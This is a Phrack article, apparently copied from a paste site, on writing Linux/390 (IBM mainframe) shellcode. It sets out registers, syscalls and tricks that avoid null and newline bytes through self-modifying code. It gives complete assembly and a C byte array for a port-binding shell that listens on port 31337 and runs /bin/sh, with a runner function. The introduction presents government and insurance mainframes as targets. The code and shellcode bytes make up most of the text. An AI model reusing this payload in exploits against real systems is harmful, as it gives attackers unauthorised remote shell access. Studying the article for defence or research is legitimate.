linux-390-shellcode-devel.txt 20 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496
  1. ==Phrack Inc.==
  2. Volume 0x0b, Issue 0x3b, Phile #0x0d of 0x12
  3. |=----------------=[ Linux/390 shellcode development ]=------------------=|
  4. |=-----------------------------------------------------------------------=|
  5. |=-------------=[ johnny cyberpunk <jcyberpunk@thc.org> ]=---------------=|
  6. --[ Contents
  7. 1 - Introduction
  8. 2 - History and facts
  9. 2.1 - Registers
  10. 2.2 - Instruction set
  11. 2.3 - Syscalls
  12. 2.4 - The native code
  13. 2.5 - Avoiding the evil 0x00 and 0x0a
  14. 2.6 - The final code
  15. 3 - References
  16. --[ 1 - Introduction
  17. Since Linux/390 has been released by IBM more and more b0xes of this
  18. type can be found in the wild. A good reason for a hacker to get a closer
  19. look on how vulnerable services can be exploited on a mainframe. Remember,
  20. who are the owners of mainframes ? Yeah, big computer centres, insurances
  21. or goverments. Well, in this article I'll uncover how to write the bad code
  22. (aka shellcode). The bind-shellcode at the end should be taken as an
  23. example. Other shellcode and exploit against some known vulnerabilities can
  24. be found on a seperate link (see References) in the next few weeks.
  25. Suggestions, improvements or flames can be send directly to the email
  26. address posted in the header of this article. My gpg-key can be found at
  27. the document bottom.
  28. --[ 2 - History and facts
  29. In late 1998 a small team of IBM developers from Boeblingen/Germany
  30. started to port Linux to mainframes. One year later in December 1999 the
  31. first version has been published for the IBM s/390. There are two versions
  32. available:
  33. A 32 bit version, referred to as Linux on s/390 and a 64 bit version,
  34. referred to as Linux on zSeries. Supported distros are Suse, Redhat and
  35. TurboLinux. Linux for s/390 is based on the kernel 2.2, the zSeries is
  36. based on kernel 2.4. There are different ways to run Linux:
  37. Native - Linux runs on the entire machine, with no other OS
  38. LPAR - Logical PARtition): The hardware can be logically
  39. partitioned, for example, one LPAR hosts a VM/VSE
  40. environment and another LPAR hosts Linux.
  41. VM/ESA Guest - means that a customer can also run Linux in a virtual
  42. machine
  43. The binaries are in ELF format (big endianess).
  44. ----[ 2.1 - Registers
  45. For our shellcode development we really don't need the whole bunch of
  46. registers the s/390 or zSeries has. The most interesting for us are the
  47. registers %r0-%r15. Anyway I'll list some others here for to get an
  48. overview.
  49. General propose registers :
  50. %r0-%r15 or gpr0-gpr15 are used for addressing and arithmetic
  51. Control registers :
  52. cr0-cr15 are only used by kernel for irq control, memory
  53. management, debugging control ...
  54. Access registers :
  55. ar0-ar15 are normally not used by programs, but good for
  56. temporary storage
  57. Floating point registers :
  58. fp0-fp15 are IEEE and HFP floating ( Linux only uses IEEE )
  59. PSW ( Programm Status Word ) :
  60. is the most important register and serves the roles of a program
  61. counter, memory space designator and condition code register.
  62. For those who wanna know more about this register, should take
  63. a closer look on the references at the bottom.
  64. ----[ 2.2 - Instruction set
  65. Next I'll show you some useful instructions we will need, while developing
  66. our shellcode.
  67. Instruction Example
  68. ---------------------------------------------------------------------------
  69. basr (branch and save) %r1,0 # save value 0 to %r1
  70. lhi (load h/word immediate) lhi %r4,2 # load value 2 into %r4
  71. la (load address) la %r3,120(%r15) # load address from
  72. # %r15+120 into %r3
  73. lr (load register) lr %r4,%r9 # load value from %r9
  74. # into %r4
  75. stc (store character) stc %r6,120(%r15) # store 1 character from
  76. # %r6 to %r15+120
  77. sth (store halfword) sth %r3,122(%r15) # store 2 bytes from
  78. # %r3 to %r15+122
  79. ar (add) ar %r6,%r10 # add value in %r10 ->%r6
  80. xr (exclusive or) xr %r2,%r2 # 0x00 trick :)
  81. svc (service call) svc 1 # exit
  82. ----[ 2.3 - Syscalls
  83. On Linux for s/390 or zSeries syscalls are done by using the
  84. instruction SVC with it's opcode 0x0a ! This is no good message for
  85. shellcoders, coz 0x0a is a special character in a lot of services. But
  86. before i start explaining how we can avoid using this call let's have a
  87. look on how our OS is using the syscalls.
  88. The first four parameters of a syscall are delivered to the registers
  89. %r2-%r5 and the resultcode can be found in %r2 after the SVC call.
  90. Example of an execve call:
  91. basr %r1,0
  92. base:
  93. la %r2,exec-base(%r1)
  94. la %r3,arg-base(%r1)
  95. la %r4,tonull-base(%r1)
  96. svc 11
  97. exec:
  98. .string "/bin//sh"
  99. arg:
  100. .long exec
  101. tonull:
  102. .long 0x0
  103. A special case is the SVC call 102 (SYS_SOCKET). First we have to feed
  104. the register %r2 with the desired function ( socket, bind, listen, accept,
  105. ....) and %r3 points to a list of parameters this function needs. Every
  106. parameter in this list has its own u_long value.
  107. And again an example of a socket() call :
  108. lhi %r2,2 # domain
  109. lhi %r3,1 # type
  110. xr %r4,%r4 # protocol
  111. stm %r2,%r4,128(%r15) # store %r2 - %r4
  112. lhi %r2,1 # function socket()
  113. la %r3,128(%r15) # pointer to the API values
  114. svc 102 # SOCKETCALL
  115. lr %r7,%r2 # save filedescriptor to %r7
  116. ----[ 2.4 - The native code
  117. So now, here is a sample of a complete portbindshell in native style :
  118. .globl _start
  119. _start:
  120. basr %r1,0 # our base-address
  121. base:
  122. lhi %r2,2 # AF_INET
  123. sth %r2,120(%r15)
  124. lhi %r3,31337 # port
  125. sth %r3,122(%r15)
  126. xr %r4,%r4 # INADDR_ANY
  127. st %r4,124(%r15) # 120-127 is struct sockaddr *
  128. lhi %r3,1 # SOCK_STREAM
  129. stm %r2,%r4,128(%r15) # store %r2-%r4, our API values
  130. lhi %r2,1 # SOCKET_socket
  131. la %r3,128(%r15) # pointer to the API values
  132. svc 102 # SOCKETCALL
  133. lr %r7,%r2 # save socket fd to %r7
  134. la %r3,120(%r15) # pointer to struct sockaddr *
  135. lhi %r9,16 # save value 16 to %r9
  136. lr %r4,%r9 # sizeof address
  137. stm %r2,%r4,128(%r15) # store %r2-%r4, our API values
  138. lhi %r2,2 # SOCKET_bind
  139. la %r3,128(%r15) # pointer to the API values
  140. svc 102 # SOCKETCALL
  141. lr %r2,%r7 # get saved socket fd
  142. lhi %r3,1 # MAXNUMBER
  143. stm %r2,%r3,128(%r15) # store %r2-%r3, our API values
  144. lhi %r2,4 # SOCKET_listen
  145. la %r3,128(%r15) # pointer to the API values
  146. svc 102 # SOCKETCALL
  147. lr %r2,%r7 # get saved socket fd
  148. la %r3,120(%r15) # pointer to struct sockaddr *
  149. stm %r2,%r3,128(%r15) # store %r2-%r3,our API values
  150. st %r9,136(%r15) # %r9 = 16, this case: fromlen
  151. lhi %r2,5 # SOCKET_accept
  152. la %r3,128(%r15) # pointer to the API values
  153. svc 102 # SOCKETCALL
  154. xr %r3,%r3 # the following shit
  155. svc 63 # duplicates stdin, stdout
  156. ahi %r3,1 # stderr
  157. svc 63 # DUP2
  158. ahi %r3,1
  159. svc 63
  160. la %r2,exec-base(%r1) # point to /bin/sh
  161. la %r3,arg-base(%r1) # points to address of /bin/sh
  162. la %r4,tonull-base(%r1) # point to envp value
  163. svc 11 # execve
  164. slr %r2,%r2
  165. svc 1 # exit
  166. exec:
  167. .string "/bin//sh"
  168. arg:
  169. .long exec
  170. tonull:
  171. .long 0x0
  172. ----[ 2.5 - Avoiding 0x00 and 0x0a
  173. To get a clean working shellcode we have two things to bypass. First
  174. avoiding 0x00 and second avoiding 0x0a.
  175. Here is our first case :
  176. a7 28 00 02 lhi %r2,02
  177. And here is my solution :
  178. a7 a8 fb b4 lhi %r10,-1100
  179. a7 28 04 4e lhi %r2,1102
  180. 1a 2a ar %r2,%r10
  181. I statically define a value -1100 in %r10 to use it multiple times.
  182. After that i load my wanted value plus 1100 and in the next instruction
  183. the subtraction of 1102-1100 gives me the real value. Quite easy.
  184. To get around the next problem we have to use selfmodifing code:
  185. svc:
  186. .long 0x0b6607fe <---- will be svc 66, br %r14 after
  187. code modification
  188. Look at the first byte, it has the value 0x0b at the moment. The
  189. following code changes this value to 0x0a:
  190. basr %r1,0 # our base-address
  191. la %r9,svc-base(%r1) # load address of svc subroutine
  192. lhi %r6,1110 # selfmodifing
  193. lhi %r10,-1100 # code is used
  194. ar %r6,%r10 # 1110 - 1100 = \x0a opcode SVC
  195. stc %r6,svc-base(%r1) # store svc opcode
  196. Finally the modified code looks as follows :
  197. 0a 66 svc 66
  198. 07 fe br %r14
  199. To branch to this subroutine we use the following command :
  200. basr %r14,%r9 # branch to subroutine SVC 102
  201. The Register %r9 has the address of the subroutine and %r14 contains
  202. the address where to jump back.
  203. ----[ 2.6 - The final code
  204. Finally we made it, our shellcode is ready for a first test:
  205. .globl _start
  206. _start:
  207. basr %r1,0 # our base-address
  208. base:
  209. la %r9,svc-base(%r1) # load address of svc subroutine
  210. lhi %r6,1110 # selfmodifing
  211. lhi %r10,-1100 # code is used
  212. ar %r6,%r10 # 1110 - 1100 = \x0a opcode SVC
  213. stc %r6,svc-base(%r1) # store svc opcode
  214. lhi %r2,1102 # portbind code always uses
  215. ar %r2,%r10 # real value-1100 (here AF_INET)
  216. sth %r2,120(%r15)
  217. lhi %r3,31337 # port
  218. sth %r3,122(%r15)
  219. xr %r4,%r4 # INADDR_ANY
  220. st %r4,124(%r15) # 120-127 is struct sockaddr *
  221. lhi %r3,1101 # SOCK_STREAM
  222. ar %r3,%r10
  223. stm %r2,%r4,128(%r15) # store %r2-%r4, our API values
  224. lhi %r2,1101 # SOCKET_socket
  225. ar %r2,%r10
  226. la %r3,128(%r15) # pointer to the API values
  227. basr %r14,%r9 # branch to subroutine SVC 102
  228. lr %r7,%r2 # save socket fd to %r7
  229. la %r3,120(%r15) # pointer to struct sockaddr *
  230. lhi %r8,1116
  231. ar %r8,%r10 # value 16 is stored in %r8
  232. lr %r4,%r8 # size of address
  233. stm %r2,%r4,128(%r15) # store %r2-%r4, our API values
  234. lhi %r2,1102 # SOCKET_bind
  235. ar %r2,%r10
  236. la %r3,128(%r15) # pointer to the API values
  237. basr %r14,%r9 # branch to subroutine SVC 102
  238. lr %r2,%r7 # get saved socket fd
  239. lhi %r3,1101 # MAXNUMBER
  240. ar %r3,%r10
  241. stm %r2,%r3,128(%r15) # store %r2-%r3, our API values
  242. lhi %r2,1104 # SOCKET_listen
  243. ar %r2,%r10
  244. la %r3,128(%r15) # pointer to the API values
  245. basr %r14,%r9 # branch to subroutine SVC 102
  246. lr %r2,%r7 # get saved socket fd
  247. la %r3,120(%r15) # pointer to struct sockaddr *
  248. stm %r2,%r3,128(%r15) # store %r2-%r3, our API values
  249. st %r8,136(%r15) # %r8 = 16, in this case fromlen
  250. lhi %r2,1105 # SOCKET_accept
  251. ar %r2,%r10
  252. la %r3,128(%r15) # pointer to the API values
  253. basr %r14,%r9 # branch to subroutine SVC 102
  254. lhi %r6,1163 # initiate SVC 63 = DUP2
  255. ar %r6,%r10
  256. stc %r6,svc+1-base(%r1) # modify subroutine to SVC 63
  257. lhi %r3,1102 # the following shit
  258. ar %r3,%r10 # duplicates
  259. basr %r14,%r9 # stdin, stdout
  260. ahi %r3,-1 # stderr
  261. basr %r14,%r9 # SVC 63 = DUP2
  262. ahi %r3,-1
  263. basr %r14,%r9
  264. lhi %r6,1111 # initiate SVC 11 = execve
  265. ar %r6,%r10
  266. stc %r6,svc+1-base(%r1) # modify subroutine to SVC 11
  267. la %r2,exec-base(%r1) # point to /bin/sh
  268. st %r2,exec+8-base(%r1) # save address to /bin/sh
  269. la %r3,exec+8-base(%r1) # points to address of /bin/sh
  270. xr %r4,%r4 # 0x00 is envp
  271. stc %r4,exec+7-base(%r1) # fix last byte /bin/sh\\ to 0x00
  272. st %r4,exec+12-base(%r1) # store 0x00 value for envp
  273. la %r4,exec+12-base(%r1) # point to envp value
  274. basr %r14,%r9 # branch to subroutine SVC 11
  275. svc:
  276. .long 0x0b6607fe # our subroutine SVC n + br %r14
  277. exec:
  278. .string "/bin/sh\\"
  279. In a C-code environment it looks like this :
  280. char shellcode[]=
  281. "\x0d\x10" /* basr %r1,%r0 */
  282. "\x41\x90\x10\xd4" /* la %r9,212(%r1) */
  283. "\xa7\x68\x04\x56" /* lhi %r6,1110 */
  284. "\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */
  285. "\x1a\x6a" /* ar %r6,%r10 */
  286. "\x42\x60\x10\xd4" /* stc %r6,212(%r1) */
  287. "\xa7\x28\x04\x4e" /* lhi %r2,1102 */
  288. "\x1a\x2a" /* ar %r2,%r10 */
  289. "\x40\x20\xf0\x78" /* sth %r2,120(%r15) */
  290. "\xa7\x38\x7a\x69" /* lhi %r3,31337 */
  291. "\x40\x30\xf0\x7a" /* sth %r3,122(%r15) */
  292. "\x17\x44" /* xr %r4,%r4 */
  293. "\x50\x40\xf0\x7c" /* st %r4,124(%r15) */
  294. "\xa7\x38\x04\x4d" /* lhi %r3,1101 */
  295. "\x1a\x3a" /* ar %r3,%r10 */
  296. "\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */
  297. "\xa7\x28\x04\x4d" /* lhi %r2,1101 */
  298. "\x1a\x2a" /* ar %r2,%r10 */
  299. "\x41\x30\xf0\x80" /* la %r3,128(%r15) */
  300. "\x0d\xe9" /* basr %r14,%r9 */
  301. "\x18\x72" /* lr %r7,%r2 */
  302. "\x41\x30\xf0\x78" /* la %r3,120(%r15) */
  303. "\xa7\x88\x04\x5c" /* lhi %r8,1116 */
  304. "\x1a\x8a" /* ar %r8,%r10 */
  305. "\x18\x48" /* lr %r4,%r8 */
  306. "\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */
  307. "\xa7\x28\x04\x4e" /* lhi %r2,1102 */
  308. "\x1a\x2a" /* ar %r2,%r10 */
  309. "\x41\x30\xf0\x80" /* la %r3,128(%r15) */
  310. "\x0d\xe9" /* basr %r14,%r9 */
  311. "\x18\x27" /* lr %r2,%r7 */
  312. "\xa7\x38\x04\x4d" /* lhi %r3,1101 */
  313. "\x1a\x3a" /* ar %r3,%r10 */
  314. "\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */
  315. "\xa7\x28\x04\x50" /* lhi %r2,1104 */
  316. "\x1a\x2a" /* ar %r2,%r10 */
  317. "\x41\x30\xf0\x80" /* la %r3,128(%r15) */
  318. "\x0d\xe9" /* basr %r14,%r9 */
  319. "\x18\x27" /* lr %r2,%r7 */
  320. "\x41\x30\xf0\x78" /* la %r3,120(%r15) */
  321. "\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */
  322. "\x50\x80\xf0\x88" /* st %r8,136(%r15) */
  323. "\xa7\x28\x04\x51" /* lhi %r2,1105 */
  324. "\x1a\x2a" /* ar %r2,%r10 */
  325. "\x41\x30\xf0\x80" /* la %r3,128(%r15) */
  326. "\x0d\xe9" /* basr %r14,%r9 */
  327. "\xa7\x68\x04\x8b" /* lhi %r6,1163 */
  328. "\x1a\x6a" /* ar %r6,%r10 */
  329. "\x42\x60\x10\xd5" /* stc %r6,213(%r1) */
  330. "\xa7\x38\x04\x4e" /* lhi %r3,1102 */
  331. "\x1a\x3a" /* ar %r3,%r10 */
  332. "\x0d\xe9" /* basr %r14,%r9 */
  333. "\xa7\x3a\xff\xff" /* ahi %r3,-1 */
  334. "\x0d\xe9" /* basr %r14,%r9 */
  335. "\xa7\x3a\xff\xff" /* ahi %r3,-1 */
  336. "\x0d\xe9" /* basr %r14,%r9 */
  337. "\xa7\x68\x04\x57" /* lhi %r6,1111 */
  338. "\x1a\x6a" /* ar %r6,%r10 */
  339. "\x42\x60\x10\xd5" /* stc %r6,213(%r1) */
  340. "\x41\x20\x10\xd8" /* la %r2,216(%r1) */
  341. "\x50\x20\x10\xe0" /* st %r2,224(%r1) */
  342. "\x41\x30\x10\xe0" /* la %r3,224(%r1) */
  343. "\x17\x44" /* xr %r4,%r4 */
  344. "\x42\x40\x10\xdf" /* stc %r4,223(%r1) */
  345. "\x50\x40\x10\xe4" /* st %r4,228(%r1) */
  346. "\x41\x40\x10\xe4" /* la %r4,228(%r1) */
  347. "\x0d\xe9" /* basr %r14,%r9 */
  348. "\x0b\x66" /* svc 102 <--- after modification */
  349. "\x07\xfe" /* br %r14 */
  350. "\x2f\x62\x69\x6e" /* /bin */
  351. "\x2f\x73\x68\x5c"; /* /sh\ */
  352. main()
  353. {
  354. void (*z)()=(void*)shellcode;
  355. z();
  356. }
  357. --[ 3 - References:
  358. [1] z/Architecture Principles of Operation (SA22-7832-00)
  359. http://publibz.boulder.ibm.com/epubs/pdf/dz9zr000.pdf
  360. [2] Linux for S/390 ( SG24-4987-00 )
  361. http://www.redbooks.ibm.com/pubs/pdfs/redbooks/sg244987.pdf
  362. [3] LINUX for S/390 ELF Application Binary Interface Supplement
  363. http://oss.software.ibm.com/linux390/docu/l390abi0.pdf
  364. [4] Example exploits
  365. http://www.thc.org/misc/sploits/
  366. -----BEGIN PGP PUBLIC KEY BLOCK-----
  367. Version: GnuPG v1.0.6 (GNU/Linux)
  368. Comment: Weitere Infos: siehe http://www.gnupg.org
  369. mQGiBDzw5yMRBACGJ1o25Bfbb6mBkP2+qwd0eCTvCmC5uJGdXWOW8BbQwDHkoO4h
  370. sdouA+0JdlTFIQriCZhZWbspNsWEpXPOAW8vG3fSqIUqiDe6Aj21h+BnW0WEqx9t
  371. 8TkooEVS3SL34wiDCig3cQtmvAIj0C9g4pj5B/QwHJYrWNFoAxc2SW1lXwCg8Wk9
  372. LawvHW+Xqnc6n/w5Oo8IpNsD/2Lp4fvQFiTvN22Jd63nCQ75A64fB7mH7ZUsVPYy
  373. BctYXM4GhcHx7zfOhAbJQNWoNmYGiftVr9UvO9GSnG+Y9jq6I16qOn7T7dIZUEpL
  374. F5FevEFTyrtDGYmBhGv9hwtbz3CI9n9gpZxz1xYTbDHxkVIiTMlcNR3GIJRPfo5B
  375. a7u4A/9ncKqRx2HbRkaj39zugC6Y28z9lSimGzu7PTVw3bxDbObgi4CyHcjnHe+j
  376. DResuKGgdyEf+d07ofbFEOdQjgaDx1mmswS4pcILKOyRdQMtdbgSdyPlJw5KGHLX
  377. G0hrHV/Uhgok3W6nC43ZvPWbd3HVfOIU8jDTRgWaRDjGc45dtbQkam9obm55IGN5
  378. YmVycHVuayA8am9obmN5YnBrQGdteC5uZXQ+iFcEExECABcFAjzw5yMFCwcKAwQD
  379. FQMCAxYCAQIXgAAKCRD3c5EGutq/jMW7AJ9OSmrB+0vMgPfVOT4edV7C++RNHwCf
  380. byT/qKeSawxasF8g4HeX33fSPe25Ag0EPPDnrRAIALdcTn8E2Z8Z4Ua4p8fjwXNO
  381. iP6GOANUN5XLpmscv9v5ErPfK+NM2ARb7O7rQJfLkmKV8voPNj4lPUUyltGeOhzj
  382. t86I5p68RRSvO5JKTW+riZamaD8lB84YqLzmt9OuzuOeAJCq3GuQtPMyrNuOkPL9
  383. nX51EgnLnYaUYAkysAhYLhlrye/3maNdjtn2T63MoJauAoB4TpKvegsGsf1pA5mj
  384. y9fuG6zGnWt8XpVSdD2W3PUJB+Q7J3On35byebIKiuGsti6Y5L0ZSDlW2rveZp9g
  385. eRSQz06j+mxAooTUMBBJwMmXjHm5nTgr5OX/8mpb+I73MGhtssRr+JW+EWSLQN8A
  386. AwcH/iqRCMmPB/yiMhFrEPUMNBsZOJ+VK3PnUNLbAPtHz7E2ZmEpTgdvLR3tjHTC
  387. vZO6k40H1BkodmdFkCHEwzhWwe8P3a+wgW2LnPCM6tfPEfp9kPXD43UlTLWLL4RF
  388. cPmyrs45B2uht7aE3Pe0SgbsnWAej87Stwb+ezOmngmrRvZKnYREVR1RHRRsH3l6
  389. C4rexD3uHjFNdEXieW97xHG71YpOVDX6slCK2SumfxzQAEZC2n7/DqwPd6Z/abAf
  390. Ay9WmTpqBFd2FApUtZ1h8cpS6MYb6A5R2BDJQl1hN2pQFNzIh8chjVdQc67dKiay
  391. R/g0Epg0thiVAecaloCJlJE8b3OIRgQYEQIABgUCPPDnrQAKCRD3c5EGutq/jNuP
  392. AJ979IDls926vsxlhRA5Y8G0hLyDAwCgo8eWQWI7Y+QVfwBG8XCzei4oAiI=
  393. =2B7h
  394. -----END PGP PUBLIC KEY BLOCK-----
  395. |=[ EOF ]=---------------------------------------------------------------=|